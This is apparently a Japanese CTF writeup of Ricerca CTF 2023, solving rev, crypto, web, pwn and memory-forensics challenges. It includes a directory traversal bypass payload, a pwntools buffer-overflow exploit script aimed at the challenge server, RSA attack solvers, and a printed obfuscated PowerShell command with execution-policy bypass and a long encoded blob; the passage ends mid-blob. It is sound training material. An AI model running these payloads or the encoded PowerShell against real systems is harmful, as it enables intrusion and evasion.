Learning cyber security by playing and enjoying CTFs

Cyber Security関係の雑記帳です。表明されているお気持ちなどは全て個人的なものであり、筆者が所属もしくは関係する組織・団体の意向とは一切関係ありません。

Ricerca CTF 2023 Writeup

1. はじめに

 2023/4/22(土)10:00 JST ~ 22:00 JST に開催された「Ricerca CTF 2023」にチーム「N30Z30N」*1で参加しました。

 開始からほぼフルタイムで稼働し*2、最終結果は Warmup(全5問)+ 3問 を解いて 1077 pts(21 st / 187 teams)でした。

 あと一つ順位が上であれば、呟かれる画像にリストアップされていました。完全に日頃の行いが出てしまいましたね(自虐)。

2. 雑感(フィーリング)

 Survey にも記したのですが、一言で言えば、「CakeCTF から Cake🍰を抜いた感じ」*3でした。CakeCTF は大好きな CTF の一つなので、すぐに馴染むことができました。

 設問は Warmup を含めて 19 問あり、12 時間でソロ参加だとだいぶ厳しい感じでしたが、数名のチームで挑むのにちょうど良いのかと思います。

 問題構成としては、Warmup はどれも変な捻りがなく「Beginner Friendly」で、続いて「少しスパイスの効いた」初級~中級向け問題があり、さらに「Beginner Killer」なボス問があったので、CTF の経験多寡にかかわらず楽しめる工夫がなされていたかと思います。

 他方、開始当初にはスコアサーバや問題一覧(フィルタ機能)に若干不具合が見られたので、次回のリベンジを期待します*4

3. Writeup(Warmup)

 Warmup 問はどれも「優しい」問題でした。「易しく」なり過ぎていないところが好感ポイントです💕。

3.1. welcome(81 pts, 166 soleved)

設問

 ルールを読み、Discord の #announcement チャンネルに投稿されたフラグを見つける。

検討

 設問に示された通り行動すれば良さそうです*5

解法

 設問の指示に従い、ルールを読みます*6

 その中に Official Discord へのリンクが示されていますので、そこから Discord に入り、#announcement チャンネルを表示します。

 4/22 9:59 の ptr 氏による投稿にフラグが記されていました。

フラグ

RicSec{do_U_know_wh4t_Ricerca_means_btw?}

3.2. crackme(88 pts, 134 soleved)

設問

 Linux 上で動作するプログラム(バイナリ)「crackme」が与えられます。

 問題文は「Can you crack the password?」です。

検討

 Rev の Warmup 問といえば、バイナリの中に文字列が埋め込まれている(バイナリエディタLinux の strings コマンドで抽出できる)パターンが定番です。そこで、まずは Bz エディタ*7で開いてみましたが、残念ながらヒットしませんでした。

 問題文に戻って読み返すと、このプログラムは「パスワードを入力するとフラグが得られる」ものと読み取れます。

 【心の声】Cake🍰成分がないだけあって、甘くない。私もよくよく運のない男だな。 

 ということで、まずは IDA Free版 *8で読み込んでみて、その後の方針を決めることにしました。

解法

 IDA Free版 で crackme を読み込み、main 関数を表示してみます。

 チャートの上から 2 つ目のブロックを見てみると、「N1pp0n-Ich!_s3cuR3_p45$w0rD」という文字列が書かれています。そしてその後で strcmp (文字列比較)して、その結果を条件として分岐していることから、この文字列がパスワードであると推測できます。

 そこで実際に Linux 上でバイナリ(crackme)を実行し、パスワードとして「N1pp0n-Ich!_s3cuR3_p45$w0rD」を入力するとフラグゲットできました。

フラグ

RicSec{U_R_h1y0k0_cr4ck3r!}

3.3. Revolving Letters(93 pts, 119 soleved)

設問

 以下のスクリプト(chall.py)とその出力結果(output.txt)が与えられます。

「chall.py」

LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz"

def encrypt(secret, key):
  assert len(secret) <= len(key)
  
  result = ""
  for i in range(len(secret)):
    if secret[i] not in LOWER_ALPHABET: # Don't encode symbols and capital letters (e.g. "A", " ", "_", "!", "{", "}")
      result += secret[i]
    else:
      result += LOWER_ALPHABET[(LOWER_ALPHABET.index(secret[i]) + LOWER_ALPHABET.index(key[i])) % 26]

  return result

flag    = input()
key     = "thequickbrownfoxjumpsoverthelazydog"
example = "lorem ipsum dolor sit amet"
example_encrypted = encrypt(example, key)
flag_encrypted = encrypt(flag, key)

print(f"{key=}")
print(f"{example=}")
print(f"encrypt(example, key): {example_encrypted}")
print(f"encrypt(flag, key): {flag_encrypted}")

「output.txt」

key='thequickbrownfoxjumpsoverthelazydog'
example='lorem ipsum dolor sit amet'
encrypt(example, key): evvug kztla qtzla exl vqvm
encrypt(flag, key): RpgSyk{qsvop_dcr_wmc_rj_rgfxsime!}

検討

 換字式の暗号ですが、換字の規則は暗号化キー文字列によって定まります。

 また、アルファベット小文字以外の文字は平文のまま(変換なし)である点にも注意します。

 一見面倒臭そうなのですが、暗号化プログラムを小改造することで復号するプログラムが作れそうです。一から自作する必要はありません。実際、「与えられたもの(敵の力)を利用する」という考え方は、色々な場面(不正プログラムの解析)で有用です。

解法

 「chall.py」を流用して復号プログラムを作成します。

 具体的には、アルファベット小文字を逆変換するよう、「LOWER_ALPHABET[(LOWER_ALPHABET.index(secret[i]) + LOWER_ALPHABET.index(key[i])) % 26]」の「+」を「-」に置き換えれば OK です。

「solve.py」

LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz"

def decrypt(secret, key):
  assert len(secret) <= len(key)
  
  result = ""
  for i in range(len(secret)):
    if secret[i] not in LOWER_ALPHABET: # Don't encode symbols and capital letters (e.g. "A", " ", "_", "!", "{", "}")
      result += secret[i]
    else:
      result += LOWER_ALPHABET[(LOWER_ALPHABET.index(secret[i]) - LOWER_ALPHABET.index(key[i])) % 26]

  return result

key     = "thequickbrownfoxjumpsoverthelazydog"
flag    = "RpgSyk{qsvop_dcr_wmc_rj_rgfxsime!}"
print(f"flag : {decrypt(flag, key)}")

フラグ

RicSec{great_you_can_do_anything!}

3.4. Cat Café(95 pts, 113 soleved)

設問

 「Cat Café」の web サイトへの URL と、ソース一式が与えられます。

 メインとなるサーバプログラム「app.py」の内容は以下の通りです。

import flask
import os

app = flask.Flask(__name__)

@app.route('/')
def index():
    return flask.render_template('index.html')

@app.route('/img')
def serve_image():
    filename = flask.request.args.get("f", "").replace("../", "")
    path = f'images/{filename}'
    if not os.path.isfile(path):
        return flask.abort(404)
    return flask.send_file(path)

if __name__ == '__main__':
    app.run()

検討

 サイトにアクセスしてみると、可愛らしい猫の写真が飾られています(与えられたソースからも確認できます)。

 このサイトの html ソースや配布されたファイルを見ると、これらの猫の写真は「/img?f=ファイル名*9」でアクセスできる(ブラウザ上に表示できる)ことがわかります。

 他方、配布されたソースを見ると、フラグファイル(flag.txt )は/imagesから1つ上の階層にあることが分かります。前述の「ファイル名」の部分に「../flag.txt」を設定すればフラグを表示できそうです。いわゆる「ディレクトリトラバーサル(directory traversal)」というやつです。

 しかしながら app.py をよく見ると、ファイル名に含まれる「../」をブランク(長さ0の文字列)に置き換える「簡易サニタイズ」のような処理が入っていますので、ちょっとだけ工夫が必要となります。

解法

 文字列「....//」に前述の「簡易サニタイズ」を適用すると「../」になるので、「f=....//flag.txt」とすれば「../flag.txt」が参照されることになって丁度よさげです。この「簡易サニタイズ」処理は再帰的に行われず一発のみですので、これでうまくいきます。

 実際、URL「hxxp://cat-cafe.2023.ricercactf.com:8000/img?f=....//flag.txt」(※実際にはhxxp=>http)にブラウザでアクセスすればフラグゲットできました。

フラグ

RicSec{directory_traversal_is_one_of_the_most_common_vulnearbilities}

3.5. BOFSec(97 pts, 107 soleved)

設問

 ソースコード(main.c)とバイナリ(chall)が与えられます。

「main.c」

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

typedef struct {
  char name[0x100];
  int is_admin;
} auth_t;

auth_t get_auth(void) {
  auth_t user = { .is_admin = 0 };
  printf("Name: ");
  scanf("%s", user.name);
  return user;
}

int main() {
  char flag[0x100] = {};
  auth_t user = get_auth();

  if (user.is_admin) {
    puts("[+] Authentication successful.");
    FILE *fp = fopen("/flag.txt", "r");
    if (!fp) {
      puts("[!] Cannot open '/flag.txt'");
      return 1;
    }
    fread(flag, sizeof(char), sizeof(flag), fp);
    printf("Flag: %s\n", flag);
    fclose(fp);
    return 0;
  } else {
    puts("[-] Authentication failed.");
    return 1;
  }
}

__attribute__((constructor))
void setup(void) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(60);
}

検討

 最初に、Linux の file コマンドで下調べをします。

 「./chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8b20e650fc39b334621da16ee76a07c7491aa493, for GNU/Linux 3.2.0, not stripped」

 と出ますので、linux 上で動作する 64bit プログラムであることがわかります。

 次にソースコードを眺めますが、問題名から「バッファオーバーフロー系だな」と推測します。対象となりそうなのは「auth_t」という構造体で、メンバ変数「name」(0x100バイトのchar)と「is_admin」(int)を(この順番で)持っています。

 メンバ変数 is_admin には get_auth 関数の処理で明示的 0 が入ります。ですので、何らかの方法でこれを 0 以外に変えなければなりません。

 続けて get_auth 関数の処理を見てみると、scanf 関数で入力を受け付け、その入力データが前述のメンバ変数 name に入ります。この時入力データ長はコントロールされていないので、長さ 0x100 を超えたデータの入力も可能です。そこで、0x100バイトの適当なデータと、「64bit 整数 0x1」をバイト変換*10したデータを結合してそれを入力値とすれば、メンバ変数 is_admin の値が上書きされてうまくいきます。

解法

 以下のソルバを引数なしで実行し、ローカルで成功することを確認しました。その後同じスクリプトを引数「remote」で実行して、フラグをゲットしました。

「exploit.py」

from pwn import *
import sys

if 'remote' in sys.argv:
    r = remote('bofsec.2023.ricercactf.com', 9001)
else:
    r = process('./bofsec/chall')

buf = b'A' * 0x100
buf += p64(1)
r.sendline(buf)

r.interactive()

 ちなみに、最初「0x100」を「0x1000」と誤記し、「*** stack smashing detected ***: terminated」と怒られる失態をやらかしました。pwn の Warmup 問定番の一つである「とにかくスタックをスマッシュすればOK」的な問題へのアンチテーゼとも受け取れました。

 【心の声】やるな、リチェルカ。 

フラグ

RicSec{U_und3rst4nd_th3_b4s1c_0f_buff3r_0v3rfl0w}

4. Writeup(Warmup 以外)

4.1. Roted Secret Analysis (161 pts, 34 soleved)

設問

 問題文:A wise person once said that rotating the secret makes it safer! Huh? Isn't that what they meant?

 以下のスクリプト(chall.py)と出力データ(output.txt)が与えられます。

「chall.py」

import os
from Crypto.Util.number import bytes_to_long, getPrime, isPrime

flag = os.environ.get("FLAG", "fakeflag").encode()

while True:
  p = getPrime(1024)
  q = (p << 512 | p >> 512) & (2**1024 - 1) # bitwise rotation (cf. https://en.wikipedia.org/wiki/Bitwise_operation#Rotate)
  if isPrime(q): break

n = p * q
e = 0x10001
m = bytes_to_long(flag)

c = pow(m, e, n)

print(f'{n=}')
print(f'{e=}')
print(f'{c=}')

「output.txt」

n=24456513668907101359271796518022987404822072050667823923658615869713366383971188719969649435049035576669472727127263581903194099017975695864947929128367925596885753443249213201464273639499012909424736149608651744371555837721791748016889531637876303898022555235081004895411069645304985372521003721010862125442095042882100526577024974456438653686633405126923109918116756381929718438800103893677616376097141956262119327549521930637736951686117614349172207432863248304206515910202829219635801301165048124304406561437145821967710958494879876995451567574220240353599402105475654480414974342875582148522218019743166820077511
e=65537
c=18597341961729093099197297749831937867867316311655201999082918827905805371478429928112783157010654738161403312986940377995349388331953112844242407426040120302839420903486499187443737383169223520050969011318937950864196985991944523897440559547618789750180738003138383081085865616976666352985134179471231798760776607911573149993314296253654585181164097972479570867395976653829684069633563438561147707530130563531572708010593487686521808574459865586551335422619675302973576174518308347087901889923892503468385483111040271271572302540992212613766789315482719811321158322571666641755809592299352653626100918299699982602448

検討

 RSA の問題ですが、p と q の生成法に特徴があります。すなわち、p の上位 512 ビットと q の下位 512 ビット、p の下位 512 ビットと q の下位 512 ビットがそれぞれ一致しています。脆弱性は他に見当たらないので、ここから攻めることにします。

  p = 2^{512}x + y \cdots(1) q = 2^{512}y + x \cdots(2) と置くと、 n = pq =  2^{1024}xy + 2^{512}(x^{2} + y^{2}) + xy \cdots(3) ですから、 xy が求まればその結果を (3) に代入して x^{2} + y^{2} が判明します。そして、 xy x^{2} + y^{2} から  x + y = \sqrt{x^{2}+2xy+y^{2}} が計算できます。さらに  xy x + y が分かっているので「2 次方程式の解と係数の関係 」により  x y を計算でき、 p q が求まります。  (3) から、 xy の下位 512 ビットは n % 2**512で求められ、上位 512 ビットについては繰り上がりによる誤差を除けば n を 1536(=1024+512)ビット右にシフトした値になることが分かります。

解法

 上の検討結果を python で実装し、実行します。コードに汚いところがあるのは毎度のことですのでご容赦ください。

「solve.py」

from Crypto.Util.number import *
import gmpy2

n=24456513668907101359271796518022987404822072050667823923658615869713366383971188719969649435049035576669472727127263581903194099017975695864947929128367925596885753443249213201464273639499012909424736149608651744371555837721791748016889531637876303898022555235081004895411069645304985372521003721010862125442095042882100526577024974456438653686633405126923109918116756381929718438800103893677616376097141956262119327549521930637736951686117614349172207432863248304206515910202829219635801301165048124304406561437145821967710958494879876995451567574220240353599402105475654480414974342875582148522218019743166820077511
e=65537
c=18597341961729093099197297749831937867867316311655201999082918827905805371478429928112783157010654738161403312986940377995349388331953112844242407426040120302839420903486499187443737383169223520050969011318937950864196985991944523897440559547618789750180738003138383081085865616976666352985134179471231798760776607911573149993314296253654585181164097972479570867395976653829684069633563438561147707530130563531572708010593487686521808574459865586551335422619675302973576174518308347087901889923892503468385483111040271271572302540992212613766789315482719811321158322571666641755809592299352653626100918299699982602448

# p =: x * 2**512 + y
# q =: y * 2**512 + x
# n = x*y * 2**1024 + (x**2 + y**2) * 2**512 + x*y
# xy =: A * 2**512 + B => B == n % 2**512,  A ~~ n >> 1536

A_Max = n >> 1536
B = n % 2**512

i = -1
while(True):
  i += 1
  A = A_Max - i
  xy = (A << 512) + B
  x2_plus_y2 = (n - (xy * 2**1024 + xy)) >> 512
  test = gmpy2.iroot(x2_plus_y2 + 2 * xy, 2)
  if not test[1]:
    continue
  x_plus_y = test[0]
  D = x_plus_y ** 2 - 4 * xy
  if D < 0:
    continue
  test = gmpy2.iroot(D, 2)
  if not test[1]:
    continue
  sqrt_D = test[0]
  x = (x_plus_y + sqrt_D)//2
  y = (x_plus_y - sqrt_D)//2
  p = x * 2**512 + y
  if n % p == 0:
    q = n // p
    break

d = inverse(e,(p-1)*(q-1))
print(long_to_bytes(pow(c,d,n)).decode())

フラグ

RicSec{d0nt_kn0w_th3_5ecr3t_w1th0ut_r0t4t1n9!}

4.2. RSALCG (205 pts, 20 soleved)

設問

 問題文:LCG is weak, but what if it's used with RSA?

 以下のスクリプト(chall.py)と出力データ(output.txt)が与えられます。

「chall.py」

from Crypto.Util.number import getPrime, getRandomNBitInteger
import os

FLAG = os.getenv("FLAG", "RicSec{*** REDACTED ***}").encode()

def RSALCG(a, b, n):
    e = 65537
    s = getRandomNBitInteger(1024) % n
    while True:
        s = (a * s + b) % n
        yield pow(s, e, n)

def encrypt(rand, msg):
    assert len(msg) < 128
    m = int.from_bytes(msg, 'big')
    return int.to_bytes(m ^ next(rand), 128, 'big')

if __name__ == '__main__':
    n = getPrime(512) * getPrime(512)
    a = getRandomNBitInteger(1024)
    b = getRandomNBitInteger(1024)
    rand = RSALCG(a, b, n)
    print(f"{a = }")
    print(f"{b = }")
    print(f"{n = }")
    print(encrypt(rand, b"The quick brown fox jumps over the lazy dog").hex())
    pringt(encrypt(rand, FLAG).hex())
    print(encrypt(rand, b"https://translate.google.com/?sl=it&tl=en&text=ricerca").hex())

「output.txt」

a = 104932596701958568145159429432079350581741243925294416012169671604384908382893445168447905864839450402111868722373005467040643335329799448356719960809485814400987619457043584576651627652936429829564657705560266433066823589229257859375942917575729874731586891094997845427952093627170472382405528285663530612106
b = 146908709759837063143862302770110984437045635655026319928249954800644806528614554086681623417268963974691959251767647958752898163761641238519061717835899588252518767306816402052353874469376243689011218283173950163484015487529897260943257598915903245695362042234335492571429369281809958738989439275152307290506
n = 68915438454431862553872087841423255330382510660515857448975005472053459609178709434028465492773792706094321524334359097372292237742328589766664933832084854448986045922250239618283612819975877218019020936022572963433202427817150998352120028655478359887600473211365524707624162292808256010583620102295206287739
05d7913ff5cd9b6a706249ac05779f2501013ecc05caec697d9270a8a1d3bdaabf898d73410aa0ffbd361a6032adbbfa35386b2e19ec812e9f6bd52e6a2ca1b3760b3076a86ffc94dd6007d74a272e0e3d5326d9e5b01b9211a803338f5899ad6cc29877cc02ca2ff923db79e3ad477bf3820e73596088f54a8cfb187f812201
1913ba387e6f847dce455dc47092bf83571c34914b7df5875da536f11e68c8a39c78dfe69517ef4b389ea51434e071ce033854fd27c831996aa214cdc02225747a517d44408fbd0232672679bc189f26f6e9b6852a1e68e93ac14e2ce5afc1e050a44733094fe68b0477d4c4b609043e4da4e58390c4f9cf372005653c7f2529
45054a08d594bd8af1d0fac759ccc799214d0ccce8ae9c5183ef4fba296819bcdf6306f72ee34dcd5d85967fae314d6d3d65a7693b4187adce1d5375dd00c472c0310393cd5bb114602e24d481e276a4926e8886bdcfed96bb8bf9c5812d594f66e46b1737849e8e2f2c3f7b6a45e284c754cf6caf71df34efe143636b5e9079

検討

 暗号化に使う乱数取得のための LCG(Linear Congruential Generator)が用意されているのですが、出力は state(s) を e 乗して mod.n したもので、「RSALCG」と名付けられています。

 データとして貰えるのは RSALCG で使うパラメータ(a, b, n)と、フラグの暗号化結果(以下「encflag」)、さらにフラグを暗号化する前後の平文(以下「pt1」「pt2」)及び暗号化結果(以下「enc1」「enc2」)です。

 暗号化は、出力と平文との(整数値としての) xor で行っていますので、pt1 暗号化時の state を e 乗 mod.n したもの((以下「p1e」)と pt2 暗号化時の state を e 乗 mod.n したもの((以下「p2e」)が計算できます。

 これらの情報をもとに、Franklin-Reiter Related Message Attack でフラグ暗号化時の state を求めることができます。

解法

 多項式を扱うため、SageMath*11 のソルバを書きました。

 e = 65537 で多項式の GCD を求めるのがしんどそうなので、Crypto Player にはおなじみの「Half GCD」アルゴリズムを適用することにしました。

 ※Half GCD の処理については https://github.com/death-of-rats/CTF/blob/master/Dice2021/plagiarism/sol.py から借用しています。

「solve.sage」

from Crypto.Util.number import *
import numpy as np

def decrypt(ks, msg):
    m = int.from_bytes(msg, 'big')
    return int.to_bytes(m ^^ int(ks), 128, 'big')

a = 104932596701958568145159429432079350581741243925294416012169671604384908382893445168447905864839450402111868722373005467040643335329799448356719960809485814400987619457043584576651627652936429829564657705560266433066823589229257859375942917575729874731586891094997845427952093627170472382405528285663530612106
b = 146908709759837063143862302770110984437045635655026319928249954800644806528614554086681623417268963974691959251767647958752898163761641238519061717835899588252518767306816402052353874469376243689011218283173950163484015487529897260943257598915903245695362042234335492571429369281809958738989439275152307290506
e = 0x10001

n = 68915438454431862553872087841423255330382510660515857448975005472053459609178709434028465492773792706094321524334359097372292237742328589766664933832084854448986045922250239618283612819975877218019020936022572963433202427817150998352120028655478359887600473211365524707624162292808256010583620102295206287739
enc1 = bytes.fromhex("05d7913ff5cd9b6a706249ac05779f2501013ecc05caec697d9270a8a1d3bdaabf898d73410aa0ffbd361a6032adbbfa35386b2e19ec812e9f6bd52e6a2ca1b3760b3076a86ffc94dd6007d74a272e0e3d5326d9e5b01b9211a803338f5899ad6cc29877cc02ca2ff923db79e3ad477bf3820e73596088f54a8cfb187f812201")
encflag = bytes.fromhex("1913ba387e6f847dce455dc47092bf83571c34914b7df5875da536f11e68c8a39c78dfe69517ef4b389ea51434e071ce033854fd27c831996aa214cdc02225747a517d44408fbd0232672679bc189f26f6e9b6852a1e68e93ac14e2ce5afc1e050a44733094fe68b0477d4c4b609043e4da4e58390c4f9cf372005653c7f2529")
enc2 = bytes.fromhex("45054a08d594bd8af1d0fac759ccc799214d0ccce8ae9c5183ef4fba296819bcdf6306f72ee34dcd5d85967fae314d6d3d65a7693b4187adce1d5375dd00c472c0310393cd5bb114602e24d481e276a4926e8886bdcfed96bb8bf9c5812d594f66e46b1737849e8e2f2c3f7b6a45e284c754cf6caf71df34efe143636b5e9079")
pt1 = b"The quick brown fox jumps over the lazy dog"
pt2 = b"https://translate.google.com/?sl=it&tl=en&text=ricerca"

s1e = int.from_bytes(pt1, 'big') ^^ int.from_bytes(enc1, 'big')
s2e = int.from_bytes(pt2, 'big') ^^ int.from_bytes(enc2, 'big')

R = Zmod(n)
PR.<s> = PolynomialRing(R)
a_inv = inverse(a, n)
f1 = (a_inv * (s - b))^e - s1e
f2 = (a * s + b )^e - s2e
f1 = f1.monic()
f2 = f2.monic()

####################################
# half gcd
# https://github.com/death-of-rats/CTF/blob/master/Dice2021/plagiarism/sol.py
####################################
def gcd(a0,a1):
    while True:
        print(a0.degree(), end=", ", flush=True)
        if a0 % a1 == 0:
            return a1
        if a0.degree() == a1.degree():
            a1 = a0%a1
        R = hgcd(a0,a1)
        [b0,b1] = R.dot(np.array([a0,a1]).transpose()).transpose()
        if b0%b1==0:
            return b1
        c = b0 % b1
        a0 = b1
        a1 = c


def hgcd(a0,a1):
    if a1.degree() <= (a0.degree()//2):
        return np.array([[1,0],[0,1]])

    m = a0.degree()//2
    X = a0.variables()[0]
    b0 = a0 // X**m
    b1 = a1 // X**m
    
    R = hgcd(b0,b1)
    [d,e] = (R.dot(np.array([a0,a1]).transpose())).transpose()
    ff = d % e
    m = m // 2
    g0 = e // X**m
    g1 = ff // X**m

    S = hgcd(g0,g1)
    q = d // e
    return S.dot(np.array([[0,1],[1,-q]])).dot(R)
##########################################

g = gcd(f1,f2)

coeffs = g.coefficients()
s = -coeffs[0]//coeffs[1]

ks = pow(s,e,n)

print(decrypt(ks, encflag))

フラグ

RicSec{1_7h1nk_y0u_uNd3r5t4nd_ev3ry7h1ng_4b0ut_Franklin-Reiter's_a7t4ck}

4.3. My name is Power! (257 pts, 12 soleved)

設問

 問題文は「Show me your Power!」です。

 約 1 GB(展開すると約 4GB)のメモリイメージが与えられます。

検討

 最初は「Power」=「力技」と捉え、「壊れた画像とかが複数枚出てきて、修復着て重ね合わせると QR コードが出てくる」といった類なのかという筋読みのもと、Bulk Extractor でカービングをしてみたのですが、特にめぼしいものは見つかりませんでした。山村警部(@名探偵コナン)顔負けの「へっぽこ推理」で時間を溶かしまいました。残念。

 気を取り直して・・・そういえばリチェルカセキュリティさんはトレーニングサービスもやっているから、むしろ王道系の出題の方があり得るな・・・ということで、ちゃんとメモリフォレンジックをやることにしました。そう考えた時、「Power」=「Powershell」であると推測できました。

 そこでようやく、「Volatility3*12を使って情報を収集し、得られたデータを分析してゆく」という正しい方針が立ちました。

※手許の Volatiity3 環境が壊れていたので、再度セットアップをし直しました。

解法

 最初に、windows.cmdline でコマンドラインの情報を収集します。

「vol -f memory.raw windows.cmdline」の結果

Volatility 3 Framework 2.4.2

PID Process Args

4   System  Required memory at 0x20 is not valid (process exited?)
104 Registry    Required memory at 0x20 is not valid (process exited?)
436 smss.exe    \SystemRoot\System32\smss.exe

(中略)

8032    SystemSettings  Required memory at 0x4f4c01a020 is not valid (process exited?)
2068    powershell.exe  pOwERsHEll  -eP bYpASs -e JgAgACgAIAAkAFAAcwBIAE8AbQBlAFsANABdACsAJABwAHMASABvAE0ARQBbADMANABdACsAJwBYACcAKQAoACAATgBFAFcALQBvAEIAagBFAEMAdAAgAEkATwAuAEMATwBtAFAAcgBFAHMAcwBpAG8ATgAuAEQAZQBmAGwAYQB0AEUAUwBUAHIAZQBhAE0AKABbAHMAeQBTAHQARQBNAC4ASQBvAC4ATQBlAG0ATwBSAFkAUwB0AHIAZQBBAE0AXQAgAFsAQwBvAE4AdgBFAHIAVABdADoAOgBmAFIAbwBNAEIAQQBTAGUANgA0AFMAdABSAGkATgBnACgAJwBmAFYAZABaAGMAOQBwAEkARQBQADQAcgBVADYAbgBkAEkAQgBXAEkAUQBnAGYAWQBRAFAAawBCAFkAOQBtAFEAbQBHAE0AQgB1ACsASwBsAGUASgBEAGwAdwBTAGoARwBFAGgAYQBLAGIAVQBxAGwALwA3ADUAZgB6AHkARgBJAEgAagBaAGwATgBEADAAOQAzAFQAMwBUAGQANABmAFYAbQBjAEgAKwBlAHYAZgBUAHgAOABtAGUAVAAxAFAALwBtAHMALwA0AE8AUABUAHIAaQAyAFMALwBTAEkAZgB4AHMAMgBFAHUANwBaAHEANwBxAGwAWgArAFYASwB5AGYAawAyAGgAYwBxAFoAZwBHAC8AbgAzAEoAbgBYAGEAUgBOADQAdgBjAFAAYwBlAEMAMQBTADUAeQByADEAWABrAHoAaABsACsAKwBBAFAAbwB1AHYAZwBSAEcAcQB1AEQARgBmAFMARQBwAFYAUAB3AHUATgBpADYASAB2AGkASQBsADIAUQBBAGIAbwBMAFMAQgBvADAASABJAFkAUQBDAGsAdwAxAFUAcwB3AEUAVwB1AGcAcABvAEYAOABkAE4ARQBrAEYAQwBzAFIASQBIAEoASQBIAFoAQgBWAFUAVABGAEIANgAyAEIARQBLAEEAZwA5AFcAagBIAHcAZwA5AEMASABOAEEANQB0AEYAOQB0AEsAZQA3ADYAWABXAGcAcwAwAEYAagBnADcAVQBKADQAVgBoAHMAawB0AFkAcwB2AGwAagByAFMAagA2ADkAKwAwAHkAVAB6AFgAeABRAHgAZQAvAHoAMABWAG8AVgBVAGEANQAyAE8ARgBrAFcAagAwAFIAdwBRAFYAaQB4AHYAYQBRAGwATgA2AHQAVgBpAGUAaABlAEQANABQAE4ANAB2ADMAaAAyADAAMwBzADQAMwB0AGIAcQBWAFgAQQB5AEgAZwAvADIATwA3ADQAegBQAEwAYwAxAFMAegBZADkASgBjADEAcwAzAEUAbQBvAGEAcQByAGcAYgBPADIAQgBJAHkAUwBtAHIAWABjAEYAUQBRAE0AdQBrAFcAMwAwAFcAaQB4AC8AVgBPAGMAaABIAHgAdQBNAFgAUAAzAEUAbQAzAG4AVgBwAFkARwAyAFIAeABnAGIAZgBjAEMASwBnAEQAWgBUAHUANgBpAFEAOQBxAHYASAA3AEkAbwAvAFIAVgBpAHMANwBZAFkASABsAFUANABlAGQASABLAGkAMgBaAGUAdABQAFAAQwB6AFEAcwA3AEwAeABwADUAYwBaAFkAWABZAEIAVQA4AC8AQwBjACsAYgBHADAAcAAyAGcAYQBSAEEARABiAHEAUwBuAGwAMgB3AFkAbwBOAFYARgBMAGIAdQBkAEMAVwBYAHAATAB5AHAAKwBnADkAVQBUAGYAegBIAGoANgBiAE8AWQBTAHkAMwBHAEQATABHAGIALwBoAFAAMQBhAGQAegBtAHMAdgA2AHcALwA4AHYAZgBIAHYAMQBZADAASgBaAHYAeQBOAG8AOABrADMAYQA5AFYAMABhAGsAMgA3ADUAaQAzADcALwBoAFEAcwBVAHYATAB6AG0ATgAvAGkANAByAHEAMABOAEsAcwAxAFcARQAyAEMAQgBuADkASgAzAHUATgBoAG4AUwA3AGQAeAAwAEYASwBOADAAbgA3AEUAbAB2AEcAOQB6AGsAegBiAGYAYgBHAEwAWABZAEkAcgB1AG8AbQB6ADQASQByAEsAKwBNADMAQgBuAHUASwBBADQAdAA1ADcARQAwAFMARgB3AE0AaAA5ADQASwBzAGMAdQBEAFEANgBFAFgAYwAxAHAATQBLAG0AYwBWADMAZQBaAGMAUwBlADMATABsAFQAcQBPAGkAbQBvAEwASQA1AHYAeABHAHEANQA0AGQATABvAFcANQByADkAWABwAG4ANABZAHMANwBvAFIAawB3AEkATgA5AFEASwBiADAARgA3ACsAbQBJADYAdwBUAC8ARQBMAHgAQwBIAEQAaABrAFQAQwB5AHMAQQBiADUAZgBxAGYAOQBFADMAeABrADYAMgBUAHUAVAAzAFkAdgBTAHIAegBBAHIAdABYAGwAMQA0AHMAKwBIAFEAbgA0AEUAeQB4AFMAUwBlAEcAZgBWADQAWAAyAHoANgA4AFgAZAAvAFgAcwBVADcASAB6AFIAYgAxADgAKwBQADYAZwA0AGkAaAA2AFYAbQBzAGMAUABTAFYAaABUAEIAZABBAEcAQwB5ADYAeQBlAEoAawBkAEcASgBUAFkAdwAwAHYARAB3AHkARAB3AGEATwBNAHoARQBGAGgASQBvAEIAMABlAEQAUABJAEYAcwBuAFcAWAB5ADgASQBaAFYAcgBmAGsAaQBoAG0AMAB1AGsAbQBPADAAcwB6ADkAdABWAGcAdwB4AEgARQAxAGcAcwB1AFAAVQBGADYAMABwAFAAZwBrAHQASgAwADkANwBEAEoAOABNAFEAeABvAEsARwBEAG8AUABCAHkAVwBKAFgAaQBxADcAZwBDAGkAWgBEAFEAVgBWAHkAbQB3AFgARQBBAGcAZwBhAGkAKwAxAHcAWQBYAGUAUgBLAEYAaQBxAHQASABpAGYAVwBCAHgAKwBMAGQAQwBGAFAAcABNAGsAYQBEAHEAYwBRADEAdQBlAFAAdABqAGEAbwBxACsAMABNADIAagAzADIAeAB0AGQAdQA4AGUAUgBMAG8ANQBJAEgARgArAC8AawBtAEMAZQBpADEAcwA5AFgAaQBUAGoAMQBrAGIAbgBNADEARwA4AFMAdQBDAEUAUgA2ACsAegBrADkATQBxADAAYgB4AEUATgBvAEoAZQBJAEQAdABmAE0ARwBJADQAZQBlAFAAegBlADYAVQA5AEcAMAA3AHUARgBQAHgAdgAzAFIAagA2AHoAKwBCAHUAWgBlAEQAYgBzAHoALwAwACsAWgBZACsAKwBqAEEAUgBGADcAeQBsAFgATQB1AGYASgBTAFgAUwBLAFkASgBWAHIAdABqAHQAbwA1AGUAYgBhADMAOAA4ADYAVwBTAEYAcgBqAEYAZQBZAEQAbABXAGUAUQBiAGgAYwBQAGMAZgBEADIAVwBLAFAANgB1AFEAMQBKAGEAWgBxADIANwBhAEMAdgBJAGEAQwBEAEkAcABnAEgAdgBhADIAVQA3AEoALwBTAGoANABTAFIAcgB4AFcAVQBwAE4ATgBSADAARgAzAGEAbAAzADAAagAvAGsAaQBnAGoAYgBaAEoAMgBrAFkASwBlAFMAbwBwAFkAQgBrAG8ANwBWAHAASgBaAHQATQBnAGYAMwB2AG0AaQB1AFoAdAB4AFMAVQBCAGgAOQBsAHQAYQBEADkAUwA1AGgAcwBMADcAZQBCAE8ASgBXAFYAVQBOAGMAcwBWAGYAdABrAHMAVgBOAEkAUgA2ADAAeQBLAGUARgBWAEcAWQBYADgAMQB6AGEANABsADcAVQAxADUAbQBWAGUAUABjAG0ATQBSAGwARwBYAFQARgBwAEkAbQBkAFcA